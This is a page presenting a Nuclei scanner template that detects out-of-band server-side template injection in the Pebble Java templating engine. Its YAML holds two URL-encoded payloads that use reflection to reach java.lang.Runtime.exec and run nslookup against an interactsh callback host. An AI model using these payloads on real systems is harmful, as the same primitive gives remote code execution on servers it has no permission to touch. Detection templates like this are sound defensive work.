Pebble - Out of Band Template Injection

ID: pebble-oob

Severity: high

Author: ritikchaddha

Tags: ssti,dast,pebble

Description

Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

YAML Source

id: pebble-oob

info:
  name: Pebble - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#pebble---code-execution
  metadata:
    max-request: 1
  tags: ssti,dast,pebble

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{%25%20set%20cmd%20=%20%27nslookup%20-type=SRV%20{{interactsh-url}}%27%20%25}{%25%20set%20bytes%20%3D%20(1).TYPE.forName(%27java.lang.Runtime%27).methods%5B6%5D.invoke(null,null).exec(cmd).inputStream.readAllBytes()%20%25}{{%20(1).TYPE.forName(%27java.lang.String%27).constructors%5B0%5D.newInstance((%5Bbytes%5D).toArray())%20}}"
        - "{{%20variable.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27nslookup%20-type=SRV%20{{interactsh-url}}%27)%20}}"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4a0a0047304502205cc8f8b50a2b4d6dda2c97de2cff17e6ccbd9f35e9598db37a79e0bf1fe77868022100b551d62b5181343729b88b6ceef1226d54d9037924eb1ce0b95a34f014fb18d0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/pebble-oob.yaml"

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